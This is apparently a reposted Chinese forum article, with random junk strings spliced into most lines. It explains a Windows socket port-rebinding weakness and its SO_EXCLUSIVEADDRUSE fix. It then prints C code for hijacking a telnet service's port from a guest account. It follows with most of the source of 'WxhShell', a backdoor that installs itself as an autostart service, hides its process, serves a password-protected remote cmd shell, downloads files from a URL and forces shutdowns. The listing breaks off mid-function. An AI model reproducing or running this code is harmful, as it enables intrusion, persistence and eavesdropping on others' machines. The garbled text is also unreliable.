在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}*.*{I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lZ_k307 Dm#k-y saddr.sin_family = AF_INET;
_yUFe& 90}B*3x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
g"Bv!9*H n]Y _C^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
idy:Jei} GNOC5 E$I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:TI1tJS~* {+Yo&F}n 这意味着什么?意味着可以进行如下的攻击:
lV'83 &)-?=M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;zDc0qpw ]U%Tm>s. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4>* `26 n4johV.# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
gzF&7trN 7ZZt|bl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
h6/Z_Y =P{RHhWy; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9OUhV[D ;rgsPVbVf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
QUf_fe!,| jQ*Qh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*OiHrI9y *Y Ox`z!R #include
UB}mI0/w #include
k1J}9HNYR #include
Kl? 1)u3^4 #include
] ?(=rm9u DWORD WINAPI ClientThread(LPVOID lpParam);
2lRZ/xaF%P int main()
t2iFd? {
jLTs1`I/F WORD wVersionRequested;
\m&:J>^ DWORD ret;
YSbN=Rj WSADATA wsaData;
zVu}7v() BOOL val;
bX,Z<BvbF SOCKADDR_IN saddr;
o/R-1\Dn SOCKADDR_IN scaddr;
'mF}+v^ int err;
I /g]9
y SOCKET s;
fJuJ#MX{: SOCKET sc;
RMXP)[ int caddsize;
&3<]FK HANDLE mt;
v|6fqG+Q\ DWORD tid;
v;SJgZK wVersionRequested = MAKEWORD( 2, 2 );
VMp6s%m err = WSAStartup( wVersionRequested, &wsaData );
lgl/|
^ Uw if ( err != 0 ) {
''G@n* printf("error!WSAStartup failed!\n");
_
0-YsD return -1;
$3>|RlxYA }
",a
fv{C saddr.sin_family = AF_INET;
o%:eYl H,'c& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
A.n1|Q# 8QU`SoS9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
T~la,>p|} saddr.sin_port = htons(23);
rAWBuEU;! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fOfp.`n {
%llG/]q# printf("error!socket failed!\n");
|c)#zSv return -1;
Z\x6 }
N}\i!YUD val = TRUE;
J#\/znT //SO_REUSEADDR选项就是可以实现端口重绑定的
Ks4TBi&J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IcB>Hg5 {
V%))%?3x_ printf("error!setsockopt failed!\n");
q_!3<.sf return -1;
/Mv'fich( }
Gv`PCA@/d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B6BOy~B0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6 `'^$wKs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
X:YxsZQ5Y \-^3Pe, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^VA)vLj@ {
8 _>R 'u[ ret=GetLastError();
%BL +'&q printf("error!bind failed!\n");
)[A}h'J) return -1;
%lujme }
d%WFgf} listen(s,2);
Q,scjt[ while(1)
BJqM=<nQ {
W*P/~U= caddsize = sizeof(scaddr);
mV-MJ$3r //接受连接请求
t ,0~5>5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Xs4`bbap if(sc!=INVALID_SOCKET)
;lGjj9we> {
&`@K/Nf$9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|KuH2,n0 if(mt==NULL)
'E9\V\bi {
cEe>Lyt printf("Thread Creat Failed!\n");
=T[kGg8` break;
zzM 'uo }
#fQStO }
g1Aq;Ah / CloseHandle(mt);
j &~OR6 }
|',Gy\Sj closesocket(s);
ZZ.GpB. WSACleanup();
a4c~ThbI return 0;
f)>=.sp }
nP] ~8ViS DWORD WINAPI ClientThread(LPVOID lpParam)
0Nmd*r {
]2?t$"G8 SOCKET ss = (SOCKET)lpParam;
E;k'bz SOCKET sc;
`U)~fu/\2M unsigned char buf[4096];
jfk`%CEk= SOCKADDR_IN saddr;
<Dl7|M long num;
%{axoGd DWORD val;
SwLul4V DWORD ret;
XSXS;Fh) //如果是隐藏端口应用的话,可以在此处加一些判断
7Y:1ji0l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(Ori].{C.J saddr.sin_family = AF_INET;
/.P*%'g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p;g$D=2 saddr.sin_port = htons(23);
Ig~lD>dnr' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|*Hw6m {
9|fg\C printf("error!socket failed!\n");
woQYP, return -1;
g$~ktr+% }
OT+LQ TE val = 100;
F8f@^LVM/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|.X?IJ` {
h>9GfF3 ret = GetLastError();
Tmqtj return -1;
iCnKQG }
4Z,MqG> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bi9 S1p {
lo Oh }y+ ret = GetLastError();
uD_iyK0, return -1;
5?{a=r9 }
d[J+):aW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
oIN!3 {
4u0=/pfi[ printf("error!socket connect failed!\n");
[td)v, closesocket(sc);
WL:CBE# closesocket(ss);
2eK!<Gj return -1;
!K'j[cA^ }
OW;]=k/( while(1)
[2:Q.Zj {
4cDjf~n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
r3*0`Rup //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y xp.` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]yy10Pk[! num = recv(ss,buf,4096,0);
9KkxUEkW if(num>0)
:XqqhG send(sc,buf,num,0);
OrNi<TY> else if(num==0)
*]:gEO break;
]3nka$wA* num = recv(sc,buf,4096,0);
ihS;q6ln if(num>0)
V.?N29CA| send(ss,buf,num,0);
-{n2^vvF else if(num==0)
qbrY5;U break;
(e.?). e }
)RG@D\t , closesocket(ss);
K Rs
e closesocket(sc);
+uZ,}J return 0 ;
noJ5h| }
N8S!&*m TrD2:N}dI Myaj81 ==========================================================
:p%G+q2 _$g6Mj]1z 下边附上一个代码,,WXhSHELL
vkUXMMuf+e YW9r'{(D(I ==========================================================
Ad$CHx- 5G
@ #include "stdafx.h"
lOB*M!8 Av6=q=D #include <stdio.h>
])Rs.Y{Q5 #include <string.h>
#y;TSHx/ #include <windows.h>
YD>5zV%!D #include <winsock2.h>
jT/}5\ #include <winsvc.h>
,6TF]6: #include <urlmon.h>
d^b(Uo=$ su:~Xd #pragma comment (lib, "Ws2_32.lib")
{P/ sxh:e #pragma comment (lib, "urlmon.lib")
yR}PC/> T .#cd1b #define MAX_USER 100 // 最大客户端连接数
S\wh
*'Y #define BUF_SOCK 200 // sock buffer
9NzK1V0X #define KEY_BUFF 255 // 输入 buffer
Z8mSm[w Qg9*mlm` #define REBOOT 0 // 重启
o9GtS$O\ #define SHUTDOWN 1 // 关机
#WE"nh9f|z XL=Y~7b #define DEF_PORT 5000 // 监听端口
-o:
ifF| I'sq0^ #define REG_LEN 16 // 注册表键长度
Z:_ wE62' #define SVC_LEN 80 // NT服务名长度
MC\rx=cR\ n{Ce%gy // 从dll定义API
-O&u;kh4g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8&K1;l } typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H| UGR~& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
VKGH+j[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
oY
NIJXln nrFuhW\r // wxhshell配置信息
[- Xz: struct WSCFG {
BeR7LV int ws_port; // 监听端口
yLFZo"r char ws_passstr[REG_LEN]; // 口令
6I8A[ int ws_autoins; // 安装标记, 1=yes 0=no
<xn96|$ char ws_regname[REG_LEN]; // 注册表键名
1UHlA8w7Q char ws_svcname[REG_LEN]; // 服务名
yiT)m]E
d char ws_svcdisp[SVC_LEN]; // 服务显示名
c>~q2_}W( char ws_svcdesc[SVC_LEN]; // 服务描述信息
&PE/\_xD_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!\'NBq, int ws_downexe; // 下载执行标记, 1=yes 0=no
|$>ZGs# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
f52*s#4} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
OCX>LK!K Gl!fT1zh0 };
bY@ S[ r0Cc0TMdj // default Wxhshell configuration
j:Y1 struct WSCFG wscfg={DEF_PORT,
BdMmeM2h "xuhuanlingzhe",
}piDg(D 1,
DTx!# [ "Wxhshell",
,)svSzR "Wxhshell",
O>vbAIu "WxhShell Service",
dRhsnT+KX "Wrsky Windows CmdShell Service",
tJ qd "Please Input Your Password: ",
_x'?igy 1,
U=Hx&g "
http://www.wrsky.com/wxhshell.exe",
$ap6Vxjr "Wxhshell.exe"
;:`0:Ao. };
n1E^8[~' Y%GIKtP // 消息定义模块
e5z U`R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
s{Wj&.)M char *msg_ws_prompt="\n\r? for help\n\r#>";
RJ63"F $ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9im<J' char *msg_ws_ext="\n\rExit.";
!et[Rdbu char *msg_ws_end="\n\rQuit.";
XX9u%BZ~ char *msg_ws_boot="\n\rReboot...";
l)P~#G+C char *msg_ws_poff="\n\rShutdown...";
\9Yc2$dY char *msg_ws_down="\n\rSave to ";
,Oj
53w= x$gVEh*k char *msg_ws_err="\n\rErr!";
wI{ED char *msg_ws_ok="\n\rOK!";
J]"IT*-Ht .29y3}[PO char ExeFile[MAX_PATH];
^1}Y=!& int nUser = 0;
{E3329t|' HANDLE handles[MAX_USER];
i0jR~vF
{B int OsIsNt;
%uUQBZ4 wF\5 X SERVICE_STATUS serviceStatus;
No(p:Snbo SERVICE_STATUS_HANDLE hServiceStatusHandle;
y]YUuJ9a ;*AKeI2 // 函数声明
Dpf"H int Install(void);
nyRQ/.3 int Uninstall(void);
Osj/={7g int DownloadFile(char *sURL, SOCKET wsh);
i|/EA7 int Boot(int flag);
h,Nq:"} void HideProc(void);
vi8)U]6 int GetOsVer(void);
<<iwJ
U%: int Wxhshell(SOCKET wsl);
/t$J<bU void TalkWithClient(void *cs);
v "Yo int CmdShell(SOCKET sock);
[(d))(M$| int StartFromService(void);
a*T=;P3(I int StartWxhshell(LPSTR lpCmdLine);
xA7Aw0 #y2IHO- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2g`<*u* VOID WINAPI NTServiceHandler( DWORD fdwControl );
)_-EeH {g@?\ // 数据结构和表定义
P-2 5]- SERVICE_TABLE_ENTRY DispatchTable[] =
GyP.;$NHa[ {
Q"VS;uh.v {wscfg.ws_svcname, NTServiceMain},
<,\Op=$l3I {NULL, NULL}
9`8D Ga };
wiE'6CM NJqjW // 自我安装
ZaKT~f%%z int Install(void)
f?[0I\V[$ {
FcaO- char svExeFile[MAX_PATH];
wx]r{ HKEY key;
W5c?f, strcpy(svExeFile,ExeFile);
f?P>P23 k __MYb // 如果是win9x系统,修改注册表设为自启动
%k8H'w\ if(!OsIsNt) {
[i 7^a/e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-l2aAK1M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&'{?Y;A RegCloseKey(key);
"$6 .L^9W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W}0cM9 g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`rQDX<? RegCloseKey(key);
gfU@`A_N" return 0;
=e j'5m($3 }
S`?L\R.: }
F&[MyX U4 }
A."]6R< else {
|OarE2 Ee0}Xv // 如果是NT以上系统,安装为系统服务
V#-\ 4`c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'}pe$= if (schSCManager!=0)
wrJ:jTh {
hF4gz*Q SC_HANDLE schService = CreateService
8Vf]K}d (
+[C><uP schSCManager,
rfwX:R6,g wscfg.ws_svcname,
S)L(~N1 wscfg.ws_svcdisp,
hxX-iQya
SERVICE_ALL_ACCESS,
23_\UTM}1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}g]O_fN7~ SERVICE_AUTO_START,
^PrG5|,s SERVICE_ERROR_NORMAL,
EDAVU svExeFile,
YI!@,t NULL,
PZB_6!}2[F NULL,
n `Ry! NULL,
lAZn0EU NULL,
Hs>|-iDs( NULL
SGK=WLGM8 );
[:xpz, if (schService!=0)
Pi&8!e< {
-ZKo/N>6} CloseServiceHandle(schService);
c*:H6(u CloseServiceHandle(schSCManager);
;c;5O@R}3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uL1$yf' strcat(svExeFile,wscfg.ws_svcname);
1 ^q~NYTK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P{tH4V23T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~Q36lR RegCloseKey(key);
Sru}0M#M return 0;
!y 7SCz
g }
Vub($ }
H}}g\|r& CloseServiceHandle(schSCManager);
KB6'sj }
?Gr2@,jlD }
PY{])z3N = U)e_q return 1;
.e|VW) }
N sNk
gxf{/EjH // 自我卸载
`zmjiC int Uninstall(void)
[\ALT8vC?m {
!GL
kAV HKEY key;
W2 p&LP s4uYp if(!OsIsNt) {
I%qZMoS1h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c u:1|gt
RegDeleteValue(key,wscfg.ws_regname);
0ghW};[6 RegCloseKey(key);
.*_uXQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[<H'JsJl RegDeleteValue(key,wscfg.ws_regname);
2zQ62t} RegCloseKey(key);
AFN"#M return 0;
!`$xN~_ }
5q Y+^jO]o }
}63Qh}_Y }
$T%~t@Cv1 else {
b!hs|emo; zFpM\{`[g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m(6SiV=D9 if (schSCManager!=0)
$ &III {
8a}et8df: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
xLp<G(; if (schService!=0)
|'?./ {
'Bc{N^ if(DeleteService(schService)!=0) {
g E#4 3 CloseServiceHandle(schService);
+T|M U CloseServiceHandle(schSCManager);
P
g{/tMY return 0;
pY T^Ug }
Mb0l*'ZF CloseServiceHandle(schService);
X4z6#S58 }
l]wjH5mz=i CloseServiceHandle(schSCManager);
%
bpVK~z }
W7 iml|WV0 }
~8#Ku,vEy t!S ja return 1;
ML9nfB^z! }
AXmW7/Sj" EqB3f_ // 从指定url下载文件
/j|Rz5@= int DownloadFile(char *sURL, SOCKET wsh)
hynX5,p;. {
(}jYi*B HRESULT hr;
WBIJ9e2~ char seps[]= "/";
Vy6A]U\% char *token;
wE*jN~ char *file;
^P|
K2at char myURL[MAX_PATH];
l{u2W$8 char myFILE[MAX_PATH];
A"$UU6Z4 BEfp3|Stb strcpy(myURL,sURL);
:p6.v>s8 token=strtok(myURL,seps);
b{WEux{) while(token!=NULL)
6.|Qyk* {
%8N=4vTJ file=token;
h_{//W[ token=strtok(NULL,seps);
k 6)ThIG }
D%k`udz< [`'[)B GetCurrentDirectory(MAX_PATH,myFILE);
c/bIt strcat(myFILE, "\\");
qwz_.=5E6 strcat(myFILE, file);
\KpSYX1 send(wsh,myFILE,strlen(myFILE),0);
)X
dpzWod send(wsh,"...",3,0);
a`:ag~op@& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9~FB^3Nz_ if(hr==S_OK)
ED>T2.:{ return 0;
spV E'"^ else
:^Ouv1!e1 return 1;
68pB*(i pjI<
cQ& }
>#jfZ5t :vqfWK6mv // 系统电源模块
#UO#kC<2(B int Boot(int flag)
ML|O2e {
-5_[m@Vr HANDLE hToken;
5NT?A,r" TOKEN_PRIVILEGES tkp;
T{VdlgL 5V{ B,T if(OsIsNt) {
N=`xoF
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
in/ITy- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b<N962 q$q tkp.PrivilegeCount = 1;
+}u{{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?[|T"bE5[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6tKm'`^z4 if(flag==REBOOT) {
rps2sXGr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2?)bpp$WZ return 0;
^3qo%=i }
e!:/enQo else {
m)]A$*`< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
D)u 9Y return 0;
lQnl6j }
b.<>CG' }
BgzER[g|q{ else {
j#`d%eQ~J if(flag==REBOOT) {
~;pv&s5} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
X)tf3M
{J@ return 0;
N0D)d }
`?X=@ else {
RuW62QSq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
NVTNjDF%s return 0;
{APsi7HYBr }
#..-!>lY }
1b6ox6 J5J$qCJq return 1;
;U
+;NsCH }
Or0eY#c e@-"B9~ // win9x进程隐藏模块
g' xR$6t void HideProc(void)
k#4%d1O} {
$9}z^sGIM .Q,IO CHk HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j:yQP#U if ( hKernel != NULL )
y11/:| {
Qo4+=^( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
09f:%!^u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<eObQ[mQ FreeLibrary(hKernel);
\~(ww3e }
%'}L.OvG Wp0e?bK_ return;
X[frL)k] }
4{:W5eT! / e7{n=M // 获取操作系统版本
O};U3=^0f int GetOsVer(void)
#xqeCX4p {
Fh XR!x^ OSVERSIONINFO winfo;
G;n'c7BV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
VQm)32' GetVersionEx(&winfo);
N0@&eX|$i4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
p0KkPE">p4 return 1;
w1J&c' - else
&S}i)Nu6J return 0;
|(gq:O }
U/ncD F%C c2}?[\U] // 客户端句柄模块
&^ sgR$m int Wxhshell(SOCKET wsl)
`?Pk~7 {
a pxZ} SOCKET wsh;
`<Z5/;a5W struct sockaddr_in client;
8oSndfV DWORD myID;
_P!J0 qll) while(nUser<MAX_USER)
8&6h() {
tJ>OZ int nSize=sizeof(client);
$73j*@EQA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r5b5 `f4 if(wsh==INVALID_SOCKET) return 1;
}5H3DavW G:FP9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
s(Of
EzsH= if(handles[nUser]==0)
3~"G(UP closesocket(wsh);
K/Q^8%Z else
)5Ddvz>+ nUser++;
QE&rpF7l{ }
\UI7H1XDH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
FbB>
Md; m~ %\f8w-x return 0;
:CO>g=` }
7Op6>i
4K82%P9a // 关闭 socket
7:U ^Ki void CloseIt(SOCKET wsh)
'>AOJaA {
]/!#: closesocket(wsh);
&B
uO- nUser--;
Vx@JP93| ExitThread(0);
o5gt`H" }
sQrP,:=r# c>~"Z-VtX // 客户端请求句柄
WJ$D]7 void TalkWithClient(void *cs)
$LLkYOwI {
j )6A ?yfk d:WD SOCKET wsh=(SOCKET)cs;
dzMlfJp char pwd[SVC_LEN];
!es?GJq` char cmd[KEY_BUFF];
oLEqy char chr[1];
u1F@VV{ int i,j;
T] \_[e:' z=>U> while (nUser < MAX_USER) {
(J8(_MF 'Z#8]YP` if(wscfg.ws_passstr) {
DjK:) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_p/
_t76s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o5dPE{f //ZeroMemory(pwd,KEY_BUFF);
d^sS{m\ i=0;
62~8>71;' while(i<SVC_LEN) {
s^F6sXhyPi mt$0p|B8 // 设置超时
5q<AMg
fd_set FdRead;
I!?-lI@( struct timeval TimeOut;
:,03)[u{8 FD_ZERO(&FdRead);
To1 .U)do FD_SET(wsh,&FdRead);
?zW4|0 TimeOut.tv_sec=8;
r9<OB`)3+ TimeOut.tv_usec=0;
/?<o?IR~6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$8gj}0}eH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VWqmqR% _]btsv\)f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Jhdo#}Ub pwd
=chr[0]; U:xY~>
if(chr[0]==0xd || chr[0]==0xa) { ]cvP !
pwd=0; aI]EwVz-q
break; EYNi`
} 7}>7@W8
i++; 4lMf'V7*l
} w.w(*5[
K*^3FO}JG
// 如果是非法用户,关闭 socket "J|{'k`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r w(EI,G
} LUSBRr8
34S0W]V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xwK{}==U
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7.Df2_)
W]b>k lp;
while(1) { ZoJ_I
>uv
JmL{&
ZeroMemory(cmd,KEY_BUFF); ASA ]7qyO
-I
dW-9~9
// 自动支持客户端 telnet标准 Aw#@}TGT
j=0; zf+jQ
while(j<KEY_BUFF) { /dGpac
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \\w<.\Yh
cmd[j]=chr[0];
XdS&s}J[I
if(chr[0]==0xa || chr[0]==0xd) { 8NCu;s
cmd[j]=0; +/+:D9j ,
break; G)~/$EF,_
} &c[.&L,w4
j++; IZ?+c@t
} )LOV)z|}
[_kis
// 下载文件 pjG/`
if(strstr(cmd,"http://")) { Cn6<I {`\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); yhTC?sf<
if(DownloadFile(cmd,wsh)) #6okd*^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$w`=7
else FYe#x]ue
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i`k{}!F
} E}-Y!,v^
else { ,%Go.3i[
=(]yl_
switch(cmd[0]) { H5MO3DJ
J ZH~ {
// 帮助 Ht`kmk;I)
case '?': { ULT,>S6r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]*/%5ZOI&
break; 2g0_[$[m
} g/3t@7*<
// 安装 PCqE9B)l
case 'i': { 4eD>DW
if(Install()) 85e!)I_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UO~Xzx!e
else /+
yIcE(&3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X0FTD':f
break; OV>JmYe1{/
} 8bTE#2+-
// 卸载 -d+o\qp"#
case 'r': { PNgdWf3
if(Uninstall()) TmEJ!)*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nNc>nB1
else eN,6p'&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [\BLb8
break; ^}Wk
} &=>|? m8
// 显示 wxhshell 所在路径 %3kS;AaA
case 'p': { c9/&A
char svExeFile[MAX_PATH]; |#i|BVnoE
strcpy(svExeFile,"\n\r"); Fo.p}j+>
strcat(svExeFile,ExeFile); Bx" eX>A8
send(wsh,svExeFile,strlen(svExeFile),0); l$:?82{
break; ]yAOKmS
}
I?R?rW
// 重启 dTTC6?yPXf
case 'b': { v\ <4y P
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &x.n>O
if(Boot(REBOOT)) [sc4ULS &
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YiGSFg
else { &P:2`\'
closesocket(wsh); v!WkPvU
ExitThread(0); N~!
GAaD
} .~AQxsGH
break; !;%+1j?d
} (k$KUP
// 关机 +@mgb4_
case 'd': { ir<K"wi(2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8#h~J>u.
if(Boot(SHUTDOWN)) @Wl2E.)K;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |T+YC[T#v
else { /cC4K\M
closesocket(wsh); ozUsp[W>
ExitThread(0); c2~oPUj
} XCyAt;neon
break; I7]qTS[vg
} LUKt!I0l
// 获取shell :=oIvSnh
case 's': { aS/ MlMf
CmdShell(wsh); =@*P})w5.
closesocket(wsh); DP6>fzsl
ExitThread(0); OhiY <
break; r"$~Gg.%(
} &]S\GnqlU]
// 退出 ,cFBLj(@
case 'x': { !V27ln KP+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,/Al'
CloseIt(wsh); #McX
break; 20`QA
u)'
} COFCa&m9c
// 离开
k`=&m"
case 'q': { XFi!=|F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PL*1-t?#
closesocket(wsh); /L;
c -^
WSACleanup(); |'!9mvt=
exit(1); xz*MFoE
break; /|WBk}
} Xu%8Q?]
} |wkUnn4UB8
} 2'-o'z<
]EfM;'j[
// 提示信息 W0\
n?$ZC~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }~!KjFbs
} RCY}JH>}
} b0aV?A}th
@WnW
@'*F
return; Tu7}*vsR
} .2x`Fj;o1
3)3$ L
// shell模块句柄 7CSd}@71\
int CmdShell(SOCKET sock) KOit7+Q
{ a]t| /Mq
STARTUPINFO si; UUR` m
ZeroMemory(&si,sizeof(si)); 6I-Qq?L[H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {(_>A\zi
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q+zy\T
PROCESS_INFORMATION ProcessInfo; k[8{N
char cmdline[]="cmd"; <]'1Y DA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dH~i
return 0; , A;wLI
} }]+k
@
Br?
// 自身启动模式 2SJ|$VsLaE
int StartFromService(void) ~vw$Rnotz
{ !b?`TUt
typedef struct 2<TpNGXM_
{ {"hyr/SK d
DWORD ExitStatus; gmdA1$c
DWORD PebBaseAddress; a
n|bzG
DWORD AffinityMask; *4O9W8Qz
DWORD BasePriority; }q=uI`
